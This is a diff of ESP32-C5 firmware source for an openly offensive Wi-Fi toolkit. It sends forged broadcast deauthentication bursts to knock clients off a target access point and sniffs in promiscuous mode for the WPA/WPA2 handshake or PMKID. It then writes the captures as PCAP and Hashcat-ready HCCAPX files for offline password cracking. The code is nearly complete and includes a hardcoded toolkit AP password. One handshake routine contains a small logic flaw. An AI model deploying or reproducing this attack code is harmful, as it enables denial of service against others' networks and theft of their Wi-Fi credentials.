#define FRAME_ANALYZER_TYPES_H
#include <stdint.h>
#include <stdbool.h>
// EAPOL Ether Type
#define ETHER_TYPE_EAPOL 0x888e
// EAPOL Packet Types (802.1X-2020 [11.3.2])
typedef enum {
EAPOL_EAP_PACKET = 0,
EAPOL_START,
EAPOL_LOGOFF,
EAPOL_KEY,
EAPOL_ENCAPSULATED_ASF_ALERT,
EAPOL_MKA,
EAPOL_ANNOUNCEMENT_GENERIC,
EAPOL_ANNOUNCEMENT_SPECIFIC,
EAPOL_ANNOUNCEMENT_REQ
} eapol_packet_types_t;
// Frame Control Field
typedef struct {
uint8_t protocol_version:2;
uint8_t type:2;
uint8_t subtype:4;
uint8_t to_ds:1;
uint8_t from_ds:1;
uint8_t more_fragments:1;
uint8_t retry:1;
uint8_t power_management:1;
uint8_t more_data:1;
uint8_t protected_frame:1;
uint8_t htc_order:1;
} frame_control_t;
// MAC Header for Data Frames
typedef struct {
frame_control_t frame_control;
uint16_t duration;
uint8_t addr1[6]; // Destination/BSSID
uint8_t addr2[6]; // Source
uint8_t addr3[6]; // BSSID/Destination
uint16_t sequence_control;
} data_frame_mac_header_t;
// Data Frame
typedef struct {
data_frame_mac_header_t mac_header;
uint8_t body[];
} data_frame_t;
// LLC/SNAP Header
typedef struct {
uint8_t snap_dsap;
uint8_t snap_ssap;
uint8_t control;
uint8_t encapsulation[3];
} llc_snap_header_t;
// EAPOL Packet Header (802.1X-2020 [11.3])
typedef struct {
uint8_t version;
uint8_t packet_type;
uint16_t packet_body_length;
} eapol_packet_header_t;
// EAPOL Packet
typedef struct {
eapol_packet_header_t header;
uint8_t packet_body[];
} eapol_packet_t;
// Key Information Field (802.11-2016 [12.7.2])
typedef struct {
uint8_t key_descriptor_version:3;
uint8_t key_type:1;
uint8_t :2; // Reserved
uint8_t install:1;
uint8_t key_ack:1;
uint8_t key_mic:1;
uint8_t secure:1;
uint8_t error:1;
uint8_t request:1;
uint8_t encrypted_key_data:1;
uint8_t smk_message:1;
uint8_t :2; // Reserved
} key_information_t;
// EAPOL-Key Packet (802.11-2016 [12.7.2])
typedef struct __attribute__((__packed__)) {
uint8_t descriptor_type;
key_information_t key_information;
uint16_t key_length;
uint8_t key_replay_counter[8];
uint8_t key_nonce[32];
uint8_t key_iv[16];
uint8_t key_rsc[8];
uint8_t reserved[8];
uint8_t key_mic[16];
uint16_t key_data_length;
uint8_t key_data[];
} eapol_key_packet_t;
// Key Data Type Constants
#define KEY_DATA_TYPE 0xdd
#define KEY_DATA_OUI_IEEE80211 0x00fac00
#define KEY_DATA_DATA_TYPE_PMKID_KDE 4
// Key Data Field
typedef struct __attribute__((__packed__)) {
uint8_t type;
uint8_t length;
uint32_t oui:24;
uint32_t data_type:8;
uint8_t data[];
} key_data_field_t;
// PMKID Item (linked list)
typedef struct pmkid_item {
uint8_t pmkid[16];
struct pmkid_item *next;
} pmkid_item_t;
// Handshake State
typedef enum {
HANDSHAKE_STATE_NONE = 0,
HANDSHAKE_STATE_M1_CAPTURED,
HANDSHAKE_STATE_M2_CAPTURED,
HANDSHAKE_STATE_M3_CAPTURED,
HANDSHAKE_STATE_M4_CAPTURED,
HANDSHAKE_STATE_COMPLETE
} handshake_state_t;
// Captured Handshake Data
typedef struct {
uint8_t ap_mac[6];
uint8_t sta_mac[6];
uint8_t ssid[33];
uint8_t ssid_len;
uint8_t anonce[32];
uint8_t snonce[32];
uint8_t eapol[256];
uint16_t eapol_len;
uint8_t mic[16];
handshake_state_t state;
uint8_t message_pair;
bool complete;
} handshake_data_t;
// Search Type for Frame Analysis
typedef enum {
SEARCH_HANDSHAKE = 0,
SEARCH_PMKID
} search_type_t;
// Attack State
typedef enum {
ATTACK_STATE_IDLE = 0,
ATTACK_STATE_RUNNING,
ATTACK_STATE_FINISHED,
ATTACK_STATE_TIMEOUT,
ATTACK_STATE_ERROR
} attack_state_t;
// Capture Method
typedef enum {
CAPTURE_METHOD_PASSIVE = 0,
CAPTURE_METHOD_DEAUTH_BROADCAST,
CAPTURE_METHOD_ROGUE_AP
} capture_method_t;
#endif // FRAME_ANALYZER_TYPES_H

View File

@@ -0,0 +1,550 @@
/**
* @file handshake_capture.c
* @brief Handshake/PMKID capture with dual-radio support
*
* ESP32-C5 Enhancement: Uses both radios for simultaneous
* sniffing and deauthentication attacks
*/
#include "handshake_capture.h"
#include <string.h>
#include <stdlib.h>
#include "esp_log.h"
#include "esp_wifi.h"
#include "esp_timer.h"
#include "esp_random.h"
#include "freertos/FreeRTOS.h"
#include "freertos/task.h"
#include "freertos/semphr.h"
#include "frame_analyzer.h"
#include "pcap_serializer.h"
#include "hccapx_serializer.h"
static const char *TAG = "handshake_capture";
// Task handles
static TaskHandle_t capture_task_handle = NULL;
static TaskHandle_t deauth_task_handle = NULL;
// State
static capture_config_t current_config = {0};
static capture_status_t capture_status = {0};
static SemaphoreHandle_t capture_mutex = NULL;
static volatile bool capture_running = false;
static esp_timer_handle_t timeout_timer = NULL;
// Deauth frame structure
typedef struct __attribute__((packed)) {
uint8_t frame_ctrl[2];
uint8_t duration[2];
uint8_t da[6];
uint8_t sa[6];
uint8_t bssid[6];
uint8_t seq[2];
uint8_t reason[2];
} deauth_frame_t;
// Forward declarations
static void capture_task(void *arg);
static void deauth_task(void *arg);
static void timeout_callback(void *arg);
static void promiscuous_rx_callback(void *buf, wifi_promiscuous_pkt_type_t type);
void handshake_capture_init(void) {
if (capture_mutex == NULL) {
capture_mutex = xSemaphoreCreateMutex();
}
// Create timeout timer
if (timeout_timer == NULL) {
esp_timer_create_args_t timer_args = {
.callback = timeout_callback,
.name = "capture_timeout"
};
esp_timer_create(&timer_args, &timeout_timer);
}
frame_analyzer_init();
ESP_LOGI(TAG, "Handshake capture module initialized");
}
static void send_deauth_burst(const uint8_t *ap_mac, uint8_t count) {
static const uint8_t broadcast[6] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF};
static const uint16_t reasons[] = {0x0001, 0x0003, 0x0006, 0x0007, 0x0008};
deauth_frame_t frame = {
.frame_ctrl = {0xC0, 0x00}, // Deauth
.duration = {0x00, 0x00},
.seq = {0x00, 0x00},
};
memcpy(frame.da, broadcast, 6);
memcpy(frame.sa, ap_mac, 6);
memcpy(frame.bssid, ap_mac, 6);
for (int i = 0; i < count; i++) {
uint16_t reason = reasons[i % 5];
frame.reason[0] = reason & 0xFF;
frame.reason[1] = (reason >> 8) & 0xFF;
// Randomize sequence number
uint16_t seq = esp_random() & 0xFFF0;
frame.seq[0] = seq & 0xFF;
frame.seq[1] = (seq >> 8) & 0xFF;
esp_wifi_80211_tx(WIFI_IF_STA, &frame, sizeof(frame), false);
if (capture_mutex && xSemaphoreTake(capture_mutex, 0) == pdTRUE) {
capture_status.deauth_sent++;
xSemaphoreGive(capture_mutex);
}
}
}
// Deauth task - runs on second "virtual radio" by time-slicing
static void deauth_task(void *arg) {
ESP_LOGI(TAG, "Deauth task started");
uint8_t interval = current_config.deauth_interval_ms > 0 ?
current_config.deauth_interval_ms : 100;
uint8_t count = current_config.deauth_count > 0 ?
current_config.deauth_count : 5;
while (capture_running && !capture_status.handshake_captured) {
// Send deauth burst
send_deauth_burst(current_config.bssid, count);
// Wait before next burst
vTaskDelay(pdMS_TO_TICKS(interval));
// Check if we got handshake
if (frame_analyzer_handshake_complete()) {
if (capture_mutex && xSemaphoreTake(capture_mutex, portMAX_DELAY)) {
capture_status.handshake_captured = true;
capture_status.state = ATTACK_STATE_FINISHED;
xSemaphoreGive(capture_mutex);
}
ESP_LOGI(TAG, "*** HANDSHAKE CAPTURED! Stopping deauth ***");
break;
}
}
deauth_task_handle = NULL;
vTaskDelete(NULL);
}
// Promiscuous mode callback
static void promiscuous_rx_callback(void *buf, wifi_promiscuous_pkt_type_t type) {
if (!capture_running) return;
wifi_promiscuous_pkt_t *pkt = (wifi_promiscuous_pkt_t *)buf;
// Update packet count
if (capture_mutex && xSemaphoreTake(capture_mutex, 0) == pdTRUE) {
capture_status.packets_captured++;
xSemaphoreGive(capture_mutex);
}
// Add to PCAP
pcap_serializer_append_frame(pkt->payload, pkt->rx_ctrl.sig_len, pkt->rx_ctrl.timestamp);
// Process for EAPOL/handshake
if (type == WIFI_PKT_DATA) {
frame_analyzer_process_frame(pkt, type);
// Check handshake state
if (frame_analyzer_handshake_complete()) {
if (capture_mutex && xSemaphoreTake(capture_mutex, 0) == pdTRUE) {
capture_status.handshake_captured = true;
capture_status.handshake_state = HANDSHAKE_STATE_COMPLETE;
xSemaphoreGive(capture_mutex);
}
}
}
}
// Main capture task
static void capture_task(void *arg) {
ESP_LOGI(TAG, "Capture task started for SSID: %s, Channel: %d",
current_config.ssid, current_config.channel);
// Initialize serializers
pcap_serializer_init();
hccapx_serializer_init(current_config.ssid, current_config.ssid_len);
// Start frame analyzer
frame_analyzer_capture_start(SEARCH_HANDSHAKE, current_config.bssid,
current_config.ssid, current_config.ssid_len);
// Configure WiFi for promiscuous mode
ESP_ERROR_CHECK(esp_wifi_set_mode(WIFI_MODE_APSTA));
// Set channel
esp_err_t err = esp_wifi_set_channel(current_config.channel, WIFI_SECOND_CHAN_NONE);
if (err != ESP_OK) {
ESP_LOGW(TAG, "Failed to set channel %d: %s",
current_config.channel, esp_err_to_name(err));
}
// Configure promiscuous filter for data frames (EAPOL)
wifi_promiscuous_filter_t filter = {
.filter_mask = WIFI_PROMIS_FILTER_MASK_DATA
};
esp_wifi_set_promiscuous_filter(&filter);
// Set callback and enable promiscuous mode
esp_wifi_set_promiscuous_rx_cb(promiscuous_rx_callback);
esp_wifi_set_promiscuous(true);
ESP_LOGI(TAG, "Promiscuous mode enabled, capturing...");
// Start deauth task if using active method
if (current_config.method == CAPTURE_METHOD_DEAUTH_BROADCAST) {
xTaskCreate(deauth_task, "deauth", 4096, NULL, 5, &deauth_task_handle);
}
// Start timeout timer
if (current_config.timeout_sec > 0) {
esp_timer_start_once(timeout_timer, current_config.timeout_sec * 1000000ULL);
}
// Track elapsed time
uint32_t start_time = xTaskGetTickCount();
// Main loop - wait for handshake or timeout
while (capture_running) {
vTaskDelay(pdMS_TO_TICKS(100));
// Update elapsed time
if (capture_mutex && xSemaphoreTake(capture_mutex, 0) == pdTRUE) {
capture_status.elapsed_sec = (xTaskGetTickCount() - start_time) * portTICK_PERIOD_MS / 1000;
capture_status.handshake_state = frame_analyzer_get_handshake_state();
xSemaphoreGive(capture_mutex);
}
// Check if handshake captured
if (capture_status.handshake_captured) {
ESP_LOGI(TAG, "Handshake captured! Building HCCAPX...");
// Build HCCAPX from captured data
const handshake_data_t *hs = frame_analyzer_get_handshake();
if (hs) {
hccapx_serializer_build(hs);
}
break;
}
}
// Stop timeout timer
esp_timer_stop(timeout_timer);
// Stop promiscuous mode
esp_wifi_set_promiscuous(false);
// Stop deauth task if running (safe deletion)
TaskHandle_t deauth_to_delete = deauth_task_handle;
deauth_task_handle = NULL;
if (deauth_to_delete != NULL) {
vTaskSuspend(deauth_to_delete);
vTaskDelay(pdMS_TO_TICKS(10));
vTaskDelete(deauth_to_delete);
}
// Stop frame analyzer
frame_analyzer_capture_stop();
// Restore AP mode
ESP_LOGI(TAG, "Restoring AP mode...");
wifi_config_t ap_config = {
.ap = {
.ssid = "ESP32-C5-Toolkit",
.ssid_len = strlen("ESP32-C5-Toolkit"),
.password = "h4ck3rm4n",
.channel = 1,
.max_connection = 4,
.authmode = WIFI_AUTH_WPA2_PSK,
},
};
esp_wifi_set_mode(WIFI_MODE_APSTA);
esp_wifi_set_config(WIFI_IF_AP, &ap_config);
if (capture_mutex && xSemaphoreTake(capture_mutex, portMAX_DELAY)) {
if (capture_status.state == ATTACK_STATE_RUNNING) {
capture_status.state = capture_status.handshake_captured ?
ATTACK_STATE_FINISHED : ATTACK_STATE_TIMEOUT;
}
xSemaphoreGive(capture_mutex);
}
capture_running = false;
capture_task_handle = NULL;
ESP_LOGI(TAG, "Capture task ended. Packets: %lu, Deauth: %lu, Handshake: %s",
capture_status.packets_captured, capture_status.deauth_sent,
capture_status.handshake_captured ? "YES" : "NO");
vTaskDelete(NULL);
}
static void timeout_callback(void *arg) {
ESP_LOGW(TAG, "Capture timeout!");
if (capture_mutex && xSemaphoreTake(capture_mutex, 0) == pdTRUE) {
capture_status.state = ATTACK_STATE_TIMEOUT;
xSemaphoreGive(capture_mutex);
}
capture_running = false;
}
bool handshake_capture_start(const capture_config_t *config) {
if (!config) return false;
if (capture_mutex == NULL) {
handshake_capture_init();
}
if (xSemaphoreTake(capture_mutex, portMAX_DELAY) != pdTRUE) {
return false;
}
if (capture_running) {
ESP_LOGW(TAG, "Capture already running");
xSemaphoreGive(capture_mutex);
return false;
}
// Reset state
handshake_capture_reset();
// Copy config
memcpy(&current_config, config, sizeof(capture_config_t));
// Update status
capture_status.state = ATTACK_STATE_RUNNING;
memcpy(capture_status.target_bssid, config->bssid, 6);
strncpy(capture_status.target_ssid, (char*)config->ssid, 32);
capture_running = true;
xSemaphoreGive(capture_mutex);
// Start capture task
xTaskCreate(capture_task, "capture", 8192, NULL, 5, &capture_task_handle);
ESP_LOGI(TAG, "Handshake capture started for %s", config->ssid);
return true;
}
bool pmkid_capture_start(const capture_config_t *config) {
if (!config) return false;
if (capture_mutex == NULL) {
handshake_capture_init();
}
if (xSemaphoreTake(capture_mutex, portMAX_DELAY) != pdTRUE) {
return false;
}
if (capture_running) {
ESP_LOGW(TAG, "Capture already running");
xSemaphoreGive(capture_mutex);
return false;
}
// Reset state
handshake_capture_reset();
// Copy config
memcpy(&current_config, config, sizeof(capture_config_t));
// Update status
capture_status.state = ATTACK_STATE_RUNNING;
memcpy(capture_status.target_bssid, config->bssid, 6);
strncpy(capture_status.target_ssid, (char*)config->ssid, 32);
capture_running = true;
xSemaphoreGive(capture_mutex);
// Start PMKID-specific capture
ESP_LOGI(TAG, "PMKID capture started for %s", config->ssid);
// Initialize
pcap_serializer_init();
frame_analyzer_capture_start(SEARCH_PMKID, config->bssid, config->ssid, config->ssid_len);
// Set promiscuous mode
esp_wifi_set_mode(WIFI_MODE_APSTA);
wifi_promiscuous_filter_t filter = {
.filter_mask = WIFI_PROMIS_FILTER_MASK_DATA
};
esp_wifi_set_promiscuous_filter(&filter);
esp_wifi_set_promiscuous_rx_cb(promiscuous_rx_callback);
esp_wifi_set_promiscuous(true);
// Set channel
esp_wifi_set_channel(config->channel, WIFI_SECOND_CHAN_NONE);
// Connect to target AP to trigger PMKID exchange
wifi_config_t sta_config = {0};
memcpy(sta_config.sta.ssid, config->ssid, config->ssid_len);
strcpy((char*)sta_config.sta.password, "dummypassword12345");
memcpy(sta_config.sta.bssid, config->bssid, 6);
sta_config.sta.bssid_set = true;
esp_wifi_set_config(WIFI_IF_STA, &sta_config);
esp_wifi_connect();
// Start timeout
if (config->timeout_sec > 0) {
esp_timer_start_once(timeout_timer, config->timeout_sec * 1000000ULL);
}
return true;
}
bool handshake_capture_stop(void) {
if (capture_mutex && xSemaphoreTake(capture_mutex, portMAX_DELAY)) {
capture_running = false;
if (capture_status.state == ATTACK_STATE_RUNNING) {
capture_status.state = ATTACK_STATE_IDLE;
}
xSemaphoreGive(capture_mutex);
}
// Stop timer
esp_timer_stop(timeout_timer);
// Stop promiscuous mode
esp_wifi_set_promiscuous(false);
esp_wifi_disconnect();
// Wait for tasks to end
vTaskDelay(pdMS_TO_TICKS(500));
// Safely delete capture task
TaskHandle_t capture_to_delete = capture_task_handle;
capture_task_handle = NULL;
if (capture_to_delete != NULL) {
vTaskSuspend(capture_to_delete);
vTaskDelay(pdMS_TO_TICKS(10));
vTaskDelete(capture_to_delete);
}
// Safely delete deauth task
TaskHandle_t deauth_to_delete = deauth_task_handle;
deauth_task_handle = NULL;
if (deauth_to_delete != NULL) {
vTaskSuspend(deauth_to_delete);
vTaskDelay(pdMS_TO_TICKS(10));
vTaskDelete(deauth_to_delete);
}
// Restore AP mode
wifi_config_t ap_config = {
.ap = {
.ssid = "ESP32-C5-Toolkit",
.ssid_len = strlen("ESP32-C5-Toolkit"),
.password = "h4ck3rm4n",
.channel = 1,
.max_connection = 4,
.authmode = WIFI_AUTH_WPA2_PSK,
},
};
esp_wifi_set_mode(WIFI_MODE_APSTA);
esp_wifi_set_config(WIFI_IF_AP, &ap_config);
ESP_LOGI(TAG, "Capture stopped");
return true;
}
bool handshake_capture_is_running(void) {
return capture_running;
}
const capture_status_t* handshake_capture_get_status(void) {
return &capture_status;
}
const handshake_data_t* handshake_capture_get_handshake(void) {
return frame_analyzer_get_handshake();
}
pmkid_item_t* handshake_capture_get_pmkids(void) {
return frame_analyzer_get_pmkids();
}
uint8_t* handshake_capture_get_pcap(unsigned *size) {
if (size) {
*size = pcap_serializer_get_size();
}
return pcap_serializer_get_buffer();
}
uint8_t* handshake_capture_get_hccapx(unsigned *size) {
if (!hccapx_serializer_is_valid()) {
// Try building from handshake data
const handshake_data_t *hs = frame_analyzer_get_handshake();
if (hs && hs->complete) {
hccapx_serializer_build(hs);
}
}
if (size) {
*size = hccapx_serializer_is_valid() ? hccapx_serializer_get_size() : 0;
}
return (uint8_t*)hccapx_serializer_get();
}
void handshake_capture_reset(void) {
if (capture_mutex && xSemaphoreTake(capture_mutex, portMAX_DELAY)) {
memset(&capture_status, 0, sizeof(capture_status));
capture_status.state = ATTACK_STATE_IDLE;
xSemaphoreGive(capture_mutex);
}
frame_analyzer_reset();
pcap_serializer_reset();
hccapx_serializer_reset();
}
const wifi_ap_record_t* handshake_capture_find_ap(const char *ssid) {
// This would need access to the wifi_scan results
// For now, return NULL - the web interface handles AP selection
return NULL;
}
int handshake_capture_scan_targets(void) {
// Trigger a WiFi scan
wifi_scan_config_t scan_config = {
.ssid = NULL,
.bssid = NULL,
.channel = 0,
.show_hidden = true,
.scan_type = WIFI_SCAN_TYPE_ACTIVE,
};
esp_err_t err = esp_wifi_scan_start(&scan_config, true);
if (err != ESP_OK) {
ESP_LOGE(TAG, "Scan failed: %s", esp_err_to_name(err));
return -1;
}
uint16_t ap_count = 0;
esp_wifi_scan_get_ap_num(&ap_count);
ESP_LOGI(TAG, "Scan found %u APs", ap_count);
return ap_count;
}

View File

@@ -0,0 +1,85 @@
/**
* @file handshake_capture.h
* @brief WPA/WPA2 Handshake and PMKID capture with dual-radio support
*
* ESP32-C5 Dual Radio Enhancement:
* - Radio 1 (2.4GHz): Dedicated to sniffing/capturing
* - Radio 2 (5GHz or same band): Deauth attacks to force reconnection
*
* This allows simultaneous capture and attack for maximum efficiency
*/
#ifndef HANDSHAKE_CAPTURE_H
#define HANDSHAKE_CAPTURE_H
#include <stdint.h>
#include <stdbool.h>
#include "esp_wifi.h"
#include "frame_analyzer_types.h"
// Capture configuration
typedef struct {
uint8_t bssid[6]; // Target AP BSSID
uint8_t ssid[33]; // Target AP SSID
uint8_t ssid_len; // SSID length
uint8_t channel; // Target channel
uint32_t timeout_sec; // Capture timeout in seconds
capture_method_t method; // Capture method
bool use_dual_radio; // Use both radios (if available)
uint8_t deauth_interval_ms; // Deauth packet interval (default 100ms)
uint8_t deauth_count; // Deauth packets per burst (default 5)
} capture_config_t;
// Capture status
typedef struct {
attack_state_t state;
handshake_state_t handshake_state;
bool handshake_captured;
bool pmkid_captured;
uint32_t packets_captured;
uint32_t eapol_packets;
uint32_t deauth_sent;
uint32_t elapsed_sec;
char target_ssid[33];
uint8_t target_bssid[6];
} capture_status_t;
// Initialize handshake capture module
void handshake_capture_init(void);
// Start handshake capture
bool handshake_capture_start(const capture_config_t *config);
// Start PMKID capture
bool pmkid_capture_start(const capture_config_t *config);
// Stop capture
bool handshake_capture_stop(void);
// Check if capture is running
bool handshake_capture_is_running(void);
// Get capture status
const capture_status_t* handshake_capture_get_status(void);
// Get captured handshake data
const handshake_data_t* handshake_capture_get_handshake(void);
// Get captured PMKIDs
pmkid_item_t* handshake_capture_get_pmkids(void);
// Get PCAP buffer for download
uint8_t* handshake_capture_get_pcap(unsigned *size);
// Get HCCAPX buffer for download
uint8_t* handshake_capture_get_hccapx(unsigned *size);
// Reset capture state
void handshake_capture_reset(void);
// Utility: Get AP record by SSID
const wifi_ap_record_t* handshake_capture_find_ap(const char *ssid);
// Utility: Scan and get AP list for target selection
int handshake_capture_scan_targets(void);
#endif // HANDSHAKE_CAPTURE_H

View File

@@ -0,0 +1,265 @@
/**
* @file hccapx_serializer.c
* @brief HCCAPX serializer for Hashcat-compatible output
*
* Generates HCCAPX format files for password cracking with Hashcat
*/
#include "hccapx_serializer.h"
#include <string.h>
#include <stdlib.h>
#include <arpa/inet.h>
#include "esp_log.h"
#include "frame_analyzer.h"
static const char *TAG = "hccapx_serializer";
// HCCAPX constants
#define HCCAPX_SIGNATURE 0x58504348 // "HCPX"
#define HCCAPX_VERSION 4
#define HCCAPX_MAX_EAPOL_SIZE 256
// Static HCCAPX buffer
static hccapx_t hccapx = {
.signature = HCCAPX_SIGNATURE,
.version = HCCAPX_VERSION,
.message_pair = 255, // Invalid until we have a complete handshake
.keyver = HCCAPX_KEYVER_WPA2
};
// State tracking
static unsigned message_ap = 0;
static unsigned message_sta = 0;
static unsigned eapol_source = 0;
// Helper: Check if array is all zeros
static bool is_array_zero(const uint8_t *array, unsigned size) {
for (unsigned i = 0; i < size; i++) {
if (array[i] != 0) return false;
}
return true;
}
void hccapx_serializer_init(const uint8_t *ssid, unsigned ssid_len) {
hccapx_serializer_reset();
if (ssid && ssid_len > 0 && ssid_len <= 32) {
hccapx.essid_len = ssid_len;
memcpy(hccapx.essid, ssid, ssid_len);
}
ESP_LOGI(TAG, "HCCAPX serializer initialized for SSID: %.*s", ssid_len, ssid);
}
void hccapx_serializer_reset(void) {
memset(&hccapx, 0, sizeof(hccapx_t));
hccapx.signature = HCCAPX_SIGNATURE;
hccapx.version = HCCAPX_VERSION;
hccapx.message_pair = 255;
hccapx.keyver = HCCAPX_KEYVER_WPA2;
message_ap = 0;
message_sta = 0;
eapol_source = 0;
ESP_LOGI(TAG, "HCCAPX serializer reset");
}
// Save EAPOL packet to HCCAPX
static unsigned save_eapol(eapol_packet_t *eapol_packet, eapol_key_packet_t *eapol_key) {
unsigned eapol_len = sizeof(eapol_packet_header_t) + ntohs(eapol_packet->header.packet_body_length);
if (eapol_len > HCCAPX_MAX_EAPOL_SIZE) {
ESP_LOGW(TAG, "EAPOL too long (%u > %u)", eapol_len, HCCAPX_MAX_EAPOL_SIZE);
return 1;
}
hccapx.eapol_len = eapol_len;
memcpy(hccapx.eapol, eapol_packet, eapol_len);
memcpy(hccapx.keymic, eapol_key->key_mic, 16);
// Clear MIC in saved EAPOL so Hashcat can calculate it
// MIC is at offset 81 in EAPOL-Key packet (after 4-byte EAPOL header)
memset(&hccapx.eapol[81], 0, 16);
return 0;
}
// Handle M1 from AP
static void ap_message_m1(eapol_key_packet_t *eapol_key) {
ESP_LOGI(TAG, "Processing M1 (AP)");
message_ap = 1;
memcpy(hccapx.nonce_ap, eapol_key->key_nonce, 32);
}
// Handle M3 from AP
static void ap_message_m3(eapol_packet_t *eapol, eapol_key_packet_t *eapol_key) {
ESP_LOGI(TAG, "Processing M3 (AP)");
message_ap = 3;
if (message_ap == 0) {
// No M1 seen, copy ANonce from M3
memcpy(hccapx.nonce_ap, eapol_key->key_nonce, 32);
}
if (eapol_source == 2) {
// Already have EAPOL from M2
hccapx.message_pair = 2;
return;
}
if (save_eapol(eapol, eapol_key) != 0) return;
eapol_source = 3;
if (message_sta == 2) {
hccapx.message_pair = 3;
}
}
// Handle AP messages (M1 or M3)
static void process_ap_message(data_frame_t *frame, eapol_packet_t *eapol, eapol_key_packet_t *eapol_key) {
// Verify STA MAC consistency
if (!is_array_zero(hccapx.mac_sta, 6) &&
memcmp(frame->mac_header.addr1, hccapx.mac_sta, 6) != 0) {
ESP_LOGW(TAG, "Different STA, ignoring");
return;
}
if (message_ap == 0) {
memcpy(hccapx.mac_ap, frame->mac_header.addr2, 6);
}
// M1 has empty Key MIC, M3 has filled Key MIC
if (is_array_zero(eapol_key->key_mic, 16)) {
ap_message_m1(eapol_key);
} else {
ap_message_m3(eapol, eapol_key);
}
}
// Handle M2 from STA
static void sta_message_m2(eapol_packet_t *eapol, eapol_key_packet_t *eapol_key) {
ESP_LOGI(TAG, "Processing M2 (STA)");
message_sta = 2;
memcpy(hccapx.nonce_sta, eapol_key->key_nonce, 32);
if (save_eapol(eapol, eapol_key) != 0) return;
eapol_source = 2;
if (message_ap == 1) {
hccapx.message_pair = 0; // M1+M2
}
}
// Handle M4 from STA
static void sta_message_m4(eapol_packet_t *eapol, eapol_key_packet_t *eapol_key) {
ESP_LOGI(TAG, "Processing M4 (STA)");
if (message_sta == 2 && eapol_source != 0) {
ESP_LOGD(TAG, "Already have M2, M4 not needed");
return;
}
if (message_ap == 0) {
ESP_LOGW(TAG, "No AP message received yet");
return;
}
if (eapol_source == 3) {
hccapx.message_pair = 4;
return;
}
if (save_eapol(eapol, eapol_key) != 0) return;
eapol_source = 4;
if (message_ap == 1) {
hccapx.message_pair = 1; // M1+M4
}
if (message_ap == 3) {
hccapx.message_pair = 5; // M3+M4
}
}
// Handle STA messages (M2 or M4)
static void process_sta_message(data_frame_t *frame, eapol_packet_t *eapol, eapol_key_packet_t *eapol_key) {
if (is_array_zero(hccapx.mac_sta, 6)) {
memcpy(hccapx.mac_sta, frame->mac_header.addr2, 6);
} else if (memcmp(frame->mac_header.addr2, hccapx.mac_sta, 6) != 0) {
ESP_LOGW(TAG, "Different STA, ignoring");
return;
}
// M2 has SNonce, M4 has empty SNonce
if (!is_array_zero(eapol_key->key_nonce, 32)) {
sta_message_m2(eapol, eapol_key);
} else {
sta_message_m4(eapol, eapol_key);
}
}
void hccapx_serializer_add_frame(data_frame_t *frame) {
// Parse EAPOL
eapol_packet_t *eapol = parse_eapol_packet(frame);
if (!eapol) return;
eapol_key_packet_t *eapol_key = parse_eapol_key_packet(eapol);
if (!eapol_key) return;
// Determine direction: compare addr2 (source) with addr3 (BSSID)
if (memcmp(frame->mac_header.addr2, frame->mac_header.addr3, 6) == 0) {
// Source == BSSID => From AP
process_ap_message(frame, eapol, eapol_key);
} else if (memcmp(frame->mac_header.addr1, frame->mac_header.addr3, 6) == 0) {
// Dest == BSSID => From STA
process_sta_message(frame, eapol, eapol_key);
} else {
ESP_LOGW(TAG, "Unknown frame format");
}
}
void hccapx_serializer_build(const handshake_data_t *handshake) {
if (!handshake || !handshake->complete) {
ESP_LOGW(TAG, "Incomplete handshake, cannot build HCCAPX");
return;
}
hccapx_serializer_reset();
// Copy data from handshake
hccapx.essid_len = handshake->ssid_len;
memcpy(hccapx.essid, handshake->ssid, handshake->ssid_len);
memcpy(hccapx.mac_ap, handshake->ap_mac, 6);
memcpy(hccapx.mac_sta, handshake->sta_mac, 6);
memcpy(hccapx.nonce_ap, handshake->anonce, 32);
memcpy(hccapx.nonce_sta, handshake->snonce, 32);
memcpy(hccapx.keymic, handshake->mic, 16);
if (handshake->eapol_len > 0 && handshake->eapol_len <= HCCAPX_MAX_EAPOL_SIZE) {
hccapx.eapol_len = handshake->eapol_len;
memcpy(hccapx.eapol, handshake->eapol, handshake->eapol_len);
}
hccapx.message_pair = handshake->message_pair;
hccapx.keyver = HCCAPX_KEYVER_WPA2;
ESP_LOGI(TAG, "HCCAPX built from handshake data");
}
hccapx_t* hccapx_serializer_get(void) {
if (hccapx.message_pair == 255) {
return NULL; // No valid handshake
}
return &hccapx;
}
unsigned hccapx_serializer_get_size(void) {
return sizeof(hccapx_t);
}
bool hccapx_serializer_is_valid(void) {
return hccapx.message_pair != 255;
}

View File

@@ -0,0 +1,63 @@
/**
* @file hccapx_serializer.h
* @brief HCCAPX file serializer for Hashcat compatibility
*
* Reference: https://hashcat.net/wiki/doku.php?id=hccapx
*/
#ifndef HCCAPX_SERIALIZER_H
#define HCCAPX_SERIALIZER_H
#include <stdint.h>
#include "frame_analyzer_types.h"
// HCCAPX structure (393 bytes per record)
typedef struct __attribute__((packed)) {
uint32_t signature; // "HCPX" = 0x58504348
uint32_t version; // Version 4
uint8_t message_pair; // Message pair bitmask
uint8_t essid_len; // SSID length
uint8_t essid[32]; // SSID
uint8_t keyver; // WPA/WPA2 key version
uint8_t keymic[16]; // Key MIC
uint8_t mac_ap[6]; // AP MAC address
uint8_t nonce_ap[32]; // ANonce
uint8_t mac_sta[6]; // Station MAC address
uint8_t nonce_sta[32]; // SNonce
uint16_t eapol_len; // EAPOL length
uint8_t eapol[256]; // EAPOL packet
} hccapx_t;
// Message Pair Values:
// 0 = M1+M2, first, only good if PMK == 0
// 1 = M1+M4 (real)
// 2 = M2+M3, first, only good if PMK == 0
// 3 = M2+M3
// 4 = M3+M4, first
// 5 = M3+M4
// Key version
#define HCCAPX_KEYVER_WPA 1
#define HCCAPX_KEYVER_WPA2 2
// Initialize HCCAPX serializer with SSID
void hccapx_serializer_init(const uint8_t *ssid, unsigned ssid_len);
// Add frame to HCCAPX (processes handshake messages)
void hccapx_serializer_add_frame(data_frame_t *frame);
// Build HCCAPX from captured handshake data
void hccapx_serializer_build(const handshake_data_t *handshake);
// Get HCCAPX structure (NULL if not complete)
hccapx_t* hccapx_serializer_get(void);
// Get HCCAPX buffer size
unsigned hccapx_serializer_get_size(void);
// Check if HCCAPX is valid/complete
bool hccapx_serializer_is_valid(void);
// Reset HCCAPX serializer
void hccapx_serializer_reset(void);
#endif // HCCAPX_SERIALIZER_H

View File

@@ -0,0 +1,8 @@
## IDF Component Manager Manifest File
dependencies:
## Required IDF version
idf:
version: '>=5.0.0'
# cJSON library for JSON parsing
espressif/cjson: '*'

View File

@@ -0,0 +1,89 @@
#include <stdio.h>
#include "freertos/FreeRTOS.h"
#include "freertos/task.h"
#include "esp_log.h"
